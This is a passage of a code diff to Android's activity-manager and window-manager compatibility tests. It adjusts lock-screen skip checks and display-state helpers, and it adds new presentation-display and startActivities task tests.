-        if (!supportsSecureLock()) {
-            return;
-        }
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.disableLockScreen()
                     .sleepDevice();
@@ -403,9 +396,6 @@
 
     @Test
     public void testTurnScreenOnShowOnLockAttr() throws Exception {
-        if (!supportsSecureLock()) {
-            return;
-        }
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.sleepDevice();
             mAmWmState.waitForAllStoppedActivities();
@@ -419,9 +409,6 @@
 
     @Test
     public void testTurnScreenOnAttrRemove() throws Exception {
-        if (!supportsSecureLock()) {
-            return;
-        }
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.sleepDevice();
             mAmWmState.waitForAllStoppedActivities();
@@ -444,9 +431,6 @@
     @Test
     @Presubmit
     public void testTurnScreenOnSingleTask() throws Exception {
-        if (!supportsSecureLock()) {
-            return;
-        }
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.sleepDevice();
             LogSeparator logSeparator = separateLogs();
@@ -461,9 +445,7 @@
             mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
             // Wait more for display state change since turning the display ON may take longer
             // and reported after the activity launch.
-            mAmWmState.waitFor(
-                    "***Waiting for display to turn on...",
-                    ()->{ return isDisplayOn(); });
+            waitForDefaultDisplayState(true /* wantOn */);
             assertTrue("Display turns on", isDisplayOn());
             assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, logSeparator);
         }
@@ -471,9 +453,6 @@
 
     @Test
     public void testTurnScreenOnActivity_withRelayout() throws Exception {
-        if (!supportsSecureLock()) {
-            return;
-        }
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.sleepDevice();
             launchActivity(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY);
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
index cab0879..329fa31 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
@@ -77,9 +77,8 @@
 
         // Test warm start
         pressHomeButton();
-        mAmWmState.waitForHomeActivityVisible();
         startActivityAndVerifyResult(entryActivity, actualActivity, false);
-        mAmWmState.waitForValidState(actualActivity);
+
         // Test "hot" start (app already in front)
         startActivityAndVerifyResult(entryActivity, actualActivity, false);
     }
@@ -89,8 +88,6 @@
         // See TODO below
         // final LogSeparator logSeparator = separateLogs();
 
-        mAmWmState.waitForAppTransitionIdle();
-
         // Pass in different data only when cold starting. This is to make the intent
         // different in subsequent warm/hot launches, so that the entrypoint alias
         // activity is always started, but the actual activity is not started again
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java
index a82ae2d..77ba78d 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTestBase.java
@@ -28,6 +28,7 @@
 import static android.server.am.Components.VirtualDisplayActivity.KEY_COUNT;
 import static android.server.am.Components.VirtualDisplayActivity.KEY_DENSITY_DPI;
 import static android.server.am.Components.VirtualDisplayActivity.KEY_LAUNCH_TARGET_COMPONENT;
+import static android.server.am.Components.VirtualDisplayActivity.KEY_PRESENTATION_DISPLAY;
 import static android.server.am.Components.VirtualDisplayActivity.KEY_PUBLIC_DISPLAY;
 import static android.server.am.Components.VirtualDisplayActivity.KEY_RESIZE_DISPLAY;
 import static android.server.am.Components.VirtualDisplayActivity.VIRTUAL_DISPLAY_PREFIX;
@@ -212,6 +213,7 @@
         private boolean mCanShowWithInsecureKeyguard = false;
         private boolean mPublicDisplay = false;
         private boolean mResizeDisplay = true;
+        private boolean mPresentationDisplay = false;
         private ComponentName mLaunchActivity = null;
         private boolean mSimulateDisplay = false;
         private boolean mMustBeCreated = true;
@@ -245,6 +247,11 @@
             return this;
         }
 
+        VirtualDisplaySession setPresentationDisplay(boolean presentationDisplay) {
+             mPresentationDisplay = presentationDisplay;
+             return this;
+        }
+
         VirtualDisplaySession setLaunchActivity(ComponentName launchActivity) {
             mLaunchActivity = launchActivity;
             return this;
@@ -353,7 +360,8 @@
                     .append(" --ez " + KEY_CAN_SHOW_WITH_INSECURE_KEYGUARD + " ")
                     .append(mCanShowWithInsecureKeyguard)
                     .append(" --ez " + KEY_PUBLIC_DISPLAY + " ").append(mPublicDisplay)
-                    .append(" --ez " + KEY_RESIZE_DISPLAY + " ").append(mResizeDisplay);
+                    .append(" --ez " + KEY_RESIZE_DISPLAY + " ").append(mResizeDisplay)
+                    .append(" --ez " + KEY_PRESENTATION_DISPLAY + " ").append(mPresentationDisplay);
             if (mLaunchActivity != null) {
                 createVirtualDisplayCommand
                         .append(" --es " + KEY_LAUNCH_TARGET_COMPONENT + " ")
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
index 17fcfb9..4bef8fe 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
@@ -116,9 +116,6 @@
     @Presubmit
     @Test
     public void testForceDisplayMetrics() throws Exception {
-        if (!supportsSecureLock()) {
-            return;
-        }
         launchHomeActivity();
 
         try (final DisplayMetricsSession displayMetricsSession = new DisplayMetricsSession();
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
index 615a442..b491a9f 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
@@ -35,14 +35,10 @@
 import android.graphics.Rect;
 import android.server.am.WindowManagerState.Display;
 import android.server.am.WindowManagerState.WindowState;
-import androidx.test.InstrumentationRegistry;
-import android.support.test.uiautomator.UiDevice;
 
 import org.junit.Test;
 
 import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
 
 /**
  * Build/Install/Run:
@@ -99,38 +95,7 @@
     public void testMinimalSizeDocked() throws Exception {
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
-        // We are allowed to set device density to anything different than default,
-        // however, the way we realize is to set a new property to overlay it,
-        // so mDisplay.getDpi() cannot get our real density, now we will run command
-        // automatically switch to native density before the test excecutes and restore later.
-        UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        int density = 0;
-        try {
-             density = resetDensityIfNeeded(uiDevice);
-
-             testMinimalSize(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
-
-        } finally {
-             restoreDensityIfNeeded(uiDevice, density);
-        }
-    }
-
-    private int resetDensityIfNeeded(UiDevice device) throws Exception {
-        final String output = device.executeShellCommand("wm density");
-         final Pattern p = Pattern.compile("Override density: (\\d+)");
-         final Matcher m = p.matcher(output);
-         if (m.find()) {
-             device.executeShellCommand("wm density reset");
-             int restoreDensity = Integer.parseInt(m.group(1));
-             return restoreDensity;
-         }
-         return -1;
-    }
-
-    private void restoreDensityIfNeeded(UiDevice device, int restoreDensity) throws Exception {
-        if (restoreDensity > 0) {
-            device.executeShellCommand("wm density " + restoreDensity);
-        }
+        testMinimalSize(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
     }
 
     private void testMinimalSize(int windowingMode) throws Exception {
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
index 7fa68fd..c342a5a 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
@@ -803,10 +803,6 @@
      */
     @Test
     public void testStackFocusSwitchOnStackEmptied() throws Exception {
-        if (!supportsSecureLock()) {
-            return;
-        }
-
         try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession();
              final LockScreenSession lockScreenSession = new LockScreenSession()) {
             // Create new virtual display.
@@ -1660,9 +1656,6 @@
      */
     @Test
     public void testStackFocusSwitchOnTouchEventAfterKeyguard() throws Exception {
-        if (!supportsSecureLock()) {
-            return;
-        }
         // Launch something on the primary display so we know there is a resumed activity there
         launchActivity(RESIZEABLE_ACTIVITY);
         waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
@@ -1735,10 +1728,6 @@
      */
     @Test
     public void testSecondaryDisplayShowWhenLocked() throws Exception {
-        if (!supportsSecureLock()) {
-            return;
-        }
-
         try (final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession();
              final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.setLockCredential();
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
index 062e103..4dceb4c 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
@@ -637,14 +637,17 @@
         launchActivity(TEST_ACTIVITY);
 
         // Launch an auto pip activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_REENTER_PIP_ON_EXIT, "true");
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
 
         // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
         launchActivity(PIP_ACTIVITY);
-        waitForExitPipToFullscreen(PIP_ACTIVITY);
-        executeShellCommand("am broadcast -a " + ACTION_ENTER_PIP);
+        mAmWmState.waitForWithAmState(amState ->
+                amState.getFrontStackWindowingMode(DEFAULT_DISPLAY) == WINDOWING_MODE_FULLSCREEN,
+                "Waiting for PIP to exit to fullscreen");
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         mAmWmState.assertVisibility(TEST_ACTIVITY, true);
     }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
index 655d866..c2f2089 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
@@ -492,7 +492,6 @@
                         TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
                 pressHomeButton();
                 mAmWmState.waitForHomeActivityVisible();
-                mAmWmState.waitForAppTransitionIdle();
 
                 assertEquals(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
             }
@@ -520,8 +519,6 @@
             lockScreenSession.sleepDevice()
                     .wakeUpDevice()
                     .unlockDevice();
-            pressHomeButton();
-            mAmWmState.waitForHomeActivityVisible();
             mAmWmState.computeState(TEST_ACTIVITY);
             assertDockMinimized();
         }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
index 0a99cc5..5d2d82b 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
@@ -170,11 +170,7 @@
             lockScreenSession.setLockCredential().sleepDevice();
 
             mAmWmState.computeState(true);
-            if (!isWatch()) {
-                // On P watches, keyguard windows are only shown while in interactive to allow
-                // SysUI implementation to show in ambient mode.
-                assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-            }
+            assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
             launchActivity(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY);
             mAmWmState.waitForKeyguardShowingAndNotOccluded();
             mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY, false);
diff --git a/tests/framework/base/activitymanager/src/android/server/am/PresentationTest.java b/tests/framework/base/activitymanager/src/android/server/am/PresentationTest.java
new file mode 100644
index 0000000..35d27bd
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/PresentationTest.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Intent;
+import android.hardware.display.DisplayManager;
+import android.platform.test.annotations.Presubmit;
+import android.server.am.Components;
+import android.server.am.ActivityManagerState.ActivityDisplay;
+import android.view.Display;
+
+import org.junit.Test;
+
+import java.util.List;
+
+@Presubmit
+public class PresentationTest extends ActivityManagerDisplayTestBase {
+
+    // WindowManager.LayoutParams.TYPE_PRESENTATION
+    private static final int TYPE_PRESENTATION = 2037;
+
+    @Test
+    public void testPresentationFollowsDisplayFlag() {
+        DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+        for (Display display : displayManager.getDisplays()) {
+            launchPresentationActivity(display.getDisplayId());
+            if ((display.getFlags() & Display.FLAG_PRESENTATION) != Display.FLAG_PRESENTATION) {
+                assertNoPresentationDisplayed();
+            } else {
+                assertPresentationOnDisplay(display.getDisplayId());
+            }
+        }
+    }
+
+    @Test
+    public void testPresentationAllowedOnPresentationDisplay() throws Exception {
+        try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+            ActivityManagerState.ActivityDisplay display =
+                    virtualDisplaySession
+                            .setPresentationDisplay(true)
+                            .setPublicDisplay(true)
+                            .createDisplay();
+
+            launchPresentationActivity(display.mId);
+            assertPresentationOnDisplay(display.mId);
+        }
+    }
+
+    @Test
+    public void testPresentationBlockedOnNonPresentationDisplay() throws Exception {
+        try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+            ActivityManagerState.ActivityDisplay display =
+                    virtualDisplaySession
+                            .setPresentationDisplay(false)
+                            .createDisplay();
+
+            launchPresentationActivity(display.mId);
+            assertNoPresentationDisplayed();
+        }
+    }
+
+    private void assertNoPresentationDisplayed() {
+        final List<WindowManagerState.WindowState> presentationWindows =
+                mAmWmState.getWmState()
+                        .getWindowsByPackageName(
+                                Components.PRESENTATION_ACTIVITY.getPackageName(),
+                                TYPE_PRESENTATION);
+        assertTrue(presentationWindows.isEmpty());
+    }
+
+    private void assertPresentationOnDisplay(int displayId) {
+        final List<WindowManagerState.WindowState> presentationWindows =
+                mAmWmState.getWmState()
+                        .getWindowsByPackageName(
+                                Components.PRESENTATION_ACTIVITY.getPackageName(),
+                                TYPE_PRESENTATION);
+        assertEquals(presentationWindows.size(), 1);
+        WindowManagerState.WindowState presentationWindowState = presentationWindows.get(0);
+        assertEquals(presentationWindowState.getDisplayId(), displayId);
+    }
+
+    private void launchPresentationActivity(int displayId) {
+        Intent intent = new Intent();
+        intent.setComponent(Components.PRESENTATION_ACTIVITY);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(Components.PresentationActivity.KEY_DISPLAY_ID, displayId);
+        mContext.startActivity(intent);
+        waitAndAssertTopResumedActivity(
+                Components.PRESENTATION_ACTIVITY,
+                Display.DEFAULT_DISPLAY,
+                "Launched activity must be on top");
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java b/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java
index 022bdba..b5597cc 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/StartActivityTests.java
@@ -16,12 +16,20 @@
 
 package android.server.am;
 
+import static android.server.am.Components.LAUNCHING_ACTIVITY;
+import static android.server.am.Components.NO_RELAUNCH_ACTIVITY;
 import static android.server.am.Components.TEST_ACTIVITY;
+import static android.server.am.Components.TestActivity.EXTRA_INTENTS;
+import static android.server.am.Components.TestActivity.TEST_ACTIVITY_ACTION_START_ACTIVITIES;
 import static android.server.am.app27.Components.SDK_27_LAUNCHING_ACTIVITY;
+import static android.server.am.second.Components.SECOND_ACTIVITY;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 
 import android.app.Activity;
+import android.content.Intent;
 import android.platform.test.annotations.Presubmit;
 
 import androidx.test.filters.FlakyTest;
@@ -30,6 +38,8 @@
 import org.junit.Rule;
 import org.junit.Test;
 
+import java.util.Arrays;
+
 /**
  * Build/Install/Run:
  *     atest CtsActivityManagerDeviceTestCases:StartActivityTests
@@ -103,6 +113,68 @@
                 TEST_ACTIVITY);
     }
 
+    /**
+     * Assume there are 3 activities (A1, A2, A3) with different task affinities and the same uid.
+     * After A1 called {@link Activity#startActivities} to start A2 (with NEW_TASK) and A3, the
+     * result should be 2 tasks: [A1] and [A2, A3].
+     */
+    @Test
+    public void testStartActivitiesInNewAndSameTask() {
+        final int[] taskIds = startActivitiesAndGetTaskIds(new Intent[] {
+                new Intent().setComponent(NO_RELAUNCH_ACTIVITY)
+                        .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK),
+                new Intent().setComponent(LAUNCHING_ACTIVITY) });
+
+        assertNotEquals("The activity with different task affinity started by flag NEW_TASK"
+                + " should be in a different task", taskIds[0], taskIds[1]);
+        assertEquals("The activity started without flag NEW_TASK should be put in the same task",
+                taskIds[1], taskIds[2]);
+    }
+
+    /**
+     * Assume there are 3 activities (A1, A2, B1) with default launch mode. The uid of B1 is
+     * different from A1 and A2. After A1 called {@link Activity#startActivities} to start B1 and
+     * A2, the result should be 3 tasks.
+     */
+    @Test
+    public void testStartActivitiesWithDiffUidNotInSameTask() {
+        final int[] taskIds = startActivitiesAndGetTaskIds(new Intent[] {
+                new Intent().setComponent(SECOND_ACTIVITY)
+                        .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK),
+                new Intent().setComponent(LAUNCHING_ACTIVITY) });
+
+        assertNotEquals("The activity in a different application (uid) started by flag NEW_TASK"
+                + " should be in a different task", taskIds[0], taskIds[1]);
+        assertFalse("The last started activity should be in a different task because "
+                + SECOND_ACTIVITY + " has a different uid from the source caller",
+                Arrays.asList(taskIds[0], taskIds[1]).contains(taskIds[2]));
+    }
+
+    /**
+     * Invokes {@link android.app.Activity#startActivities} from {@link #TEST_ACTIVITY} and returns
+     * the task id of each started activity (the index 0 will be the caller {@link #TEST_ACTIVITY}).
+     */
+    private int[] startActivitiesAndGetTaskIds(Intent[] intents) {
+        getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
+                .setUseInstrumentation().execute();
+        // The {@link Activity#startActivities} cannot be called from the instrumentation
+        // package because the implementation (given by test runner) may be overridden.
+        final Intent intent = new Intent(TEST_ACTIVITY_ACTION_START_ACTIVITIES);
+        intent.putExtra(EXTRA_INTENTS, intents);
+        mContext.sendBroadcast(intent);
+
+        final int[] taskIds = new int[intents.length + 1];
+        // The {@code intents} are started, wait for the last (top) activity to be ready and then
+        // verify their task ids.
+        mAmWmState.computeState(intents[intents.length - 1].getComponent());
+        final ActivityManagerState amState = mAmWmState.getAmState();
+        taskIds[0] = amState.getTaskByActivity(TEST_ACTIVITY).mTaskId;
+        for (int i = 0; i < intents.length; i++) {
+            taskIds[i + 1] = amState.getTaskByActivity(intents[i].getComponent()).mTaskId;
+        }
+        return taskIds;
+    }
+
     public static class TestActivity2 extends Activity {
     }
 }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java b/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
index 5a5e650..9db5f8e 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/VirtualDisplayHelper.java
@@ -30,7 +30,6 @@
 import android.hardware.display.VirtualDisplay;
 import android.media.ImageReader;
 import android.os.SystemClock;
-import android.view.Display;
 
 import androidx.annotation.Nullable;
 
@@ -53,8 +52,6 @@
 
     private static final Pattern DISPLAY_DEVICE_PATTERN = Pattern.compile(
             ".*DisplayDeviceInfo\\{\"([^\"]+)\":.*, state (\\S+),.*\\}.*");
-    private static final Pattern DEFAULT_DISPLAY_PATTERN = Pattern.compile(
-            "(mDisplayId=" + Display.DEFAULT_DISPLAY + ")([\\s\\S]*?)(mPrimaryDisplayDevice=)(.*)");
     private static final int DENSITY = 160;
     private static final int HEIGHT = 480;
     private static final int WIDTH = 800;
@@ -127,20 +124,9 @@
     @Nullable
     private static Boolean getDisplayState(boolean defaultDisplay) {
         final String dump = executeShellCommand("dumpsys display");
-        String defaultDisplayName = null;
-        // Finds the corresponding physical display among current multiple default logical displays
-        // and read the proper display state.
-        if (defaultDisplay) {
-            final Matcher matcher = DEFAULT_DISPLAY_PATTERN.matcher(dump);
-            if (matcher.find()) {
-                defaultDisplayName = matcher.group(4);
-            }
-            if (defaultDisplayName == null) {
-                return null;
-            }
-        }
-        final String displayName = defaultDisplay ? defaultDisplayName : VIRTUAL_DISPLAY_NAME;
-        final Predicate<Matcher> displayNameMatcher = m -> m.group(1).equals(displayName);
+        final Predicate<Matcher> displayNameMatcher = defaultDisplay
+                ? m -> m.group(0).contains("FLAG_DEFAULT_DISPLAY")
+                : m -> m.group(1).equals(VIRTUAL_DISPLAY_NAME);
         for (final String line : dump.split("\\n")) {
             final Matcher matcher = DISPLAY_DEVICE_PATTERN.matcher(line);
             if (matcher.matches() && displayNameMatcher.test(matcher)) {
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
index e961eca..0e92146 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
@@ -346,7 +346,6 @@
         getLaunchActivityBuilder().execute();
 
         waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
-        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_STOP));
 
         // Finish top activity and verify that activity below became focused.
         getLifecycleLog().clear();
@@ -397,7 +396,7 @@
         getLaunchActivityBuilder().execute();
 
         waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
-        waitAndAssertActivityStates(state(firstActivity, ON_STOP));
+
         getLifecycleLog().clear();
 
         // Finish top activity
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
index 9ea3825..bc9eec1 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -68,6 +68,7 @@
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.Display.INVALID_DISPLAY;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -244,11 +245,7 @@
 
         pressWakeupButton();
         pressUnlockButton();
-        // Using launchHomeActivity to replace pressHomeButton here.
-        // pressHomeButton will trigger AMS.stopAppSwitches, if we using instrumentation to launch
-        // test activity, then the activity would be launched after 5 seconds, which may cause some
-        // tests failed.
-        launchHomeActivity();
+        pressHomeButton();
         removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
     }
 
@@ -261,7 +258,7 @@
         executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
         executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
         executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
-        launchHomeActivity();
+        pressHomeButton();
     }
 
     protected void removeStacksWithActivityTypes(int... activityTypes) {
@@ -533,6 +530,28 @@
         return mContext.getResources().getConfiguration().smallestScreenWidthDp >= 600;
     }
 
+    public void waitAndAssertTopResumedActivity(ComponentName activityName, int displayId,
+            String message) {
+        mAmWmState.waitForValidState(activityName);
+        mAmWmState.waitForActivityState(activityName, STATE_RESUMED);
+        final String activityClassName = getActivityName(activityName);
+        mAmWmState.waitForWithAmState(state ->
+                        activityClassName.equals(state.getFocusedActivity()),
+                "Waiting for activity to be on top");
+
+        mAmWmState.assertSanity();
+        mAmWmState.assertFocusedActivity(message, activityName);
+        assertTrue("Activity must be resumed",
+                mAmWmState.getAmState().hasActivityState(activityName, STATE_RESUMED));
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(displayId);
+        ActivityManagerState.ActivityStack frontStackOnDisplay =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Resumed activity of front stack of the target display must match. " + message,
+                activityClassName, frontStackOnDisplay.mResumedActivity);
+        mAmWmState.assertFocusedStack("Top activity's stack must also be on top", frontStackId);
+        mAmWmState.assertVisibility(activityName, true /* visible */);
+    }
+
     // TODO: Switch to using a feature flag, when available.
     protected static boolean isUiModeLockedToVrHeadset() {
         final String output = runCommandAndPrintOutput("dumpsys uimode");
diff --git a/tests/framework/base/windowmanager/AndroidTest.xml b/tests/framework/base/windowmanager/AndroidTest.xml
index 337ada0..eca420e 100644
--- a/tests/framework/base/windowmanager/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/AndroidTest.xml
@@ -24,6 +24,7 @@
         <option name="test-file-name" value="CtsDragAndDropTargetApp.apk"/>
         <option name="test-file-name" value="CtsDeviceAlertWindowTestApp.apk"/>
         <option name="test-file-name" value="CtsAlertWindowService.apk"/>
+        <option name="test-file-name" value="CtsDeviceServicesTestApp.apk" />    
     </target_preparer>
     <!-- Some older apk cannot be installed as instant, so we force them full mode -->
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
index 429dca2..ca425d3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -36,13 +36,11 @@
 import android.app.ActivityManager;
 import android.content.Context;
 import android.graphics.Point;
-import android.hardware.display.DisplayManager;
 import android.os.RemoteException;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 import android.util.Log;
-import android.view.Display;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -123,7 +121,6 @@
 
     protected Context mContext;
     protected ActivityManager mAm;
-    protected DisplayManager mDm;
 
     private Map<String, String> mSourceResults;
     private Map<String, String> mTargetResults;
@@ -146,7 +143,6 @@
 
         mContext = InstrumentationRegistry.getContext();
         mAm = mContext.getSystemService(ActivityManager.class);
-        mDm = mContext.getSystemService(DisplayManager.class);
 
         mSourcePackageName = SOURCE_PACKAGE_NAME;
         mTargetPackageName = TARGET_PACKAGE_NAME;
@@ -312,9 +308,9 @@
     }
 
     private Point getDisplaySize() throws Exception {
-        final Point displaySize = new Point();
-        mDm.getDisplay(Display.DEFAULT_DISPLAY).getRealSize(displaySize);
-        return displaySize;
+        final String output = executeShellCommand("wm size");
+        final String[] sizes = output.split(" ")[2].split("x");
+        return new Point(Integer.valueOf(sizes[0].trim()), Integer.valueOf(sizes[1].trim()));
     }
 
     private Point getWindowCenter(String name) throws Exception {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
index b6ad466..1ade25a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
@@ -25,7 +25,6 @@
 import android.app.Activity;
 import android.app.AlertDialog;
 import android.content.Intent;
-import android.content.pm.PackageManager;
 import android.view.Gravity;
 import android.view.Window;
 import android.view.WindowManager.LayoutParams;
@@ -57,7 +56,6 @@
     static final String TEST_WITH_MARGINS = "WithMargins";
 
     private AlertDialog mDialog;
-    int mSize = 200;
 
     @Override
     protected void onStop() {
@@ -73,9 +71,6 @@
 
     private void setupTest(Intent intent) {
         final String testCase = intent.getStringExtra(EXTRA_TEST_CASE);
-        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
-            mSize = getSize();
-        }
         switch (testCase) {
             case TEST_MATCH_PARENT:
                 testMatchParent();
@@ -148,23 +143,23 @@
 
     private void testExplicitSize() {
         doLayoutParamTest(params -> {
-            params.width = mSize;
-            params.height = mSize;
+            params.width = 200;
+            params.height = 200;
         });
     }
 
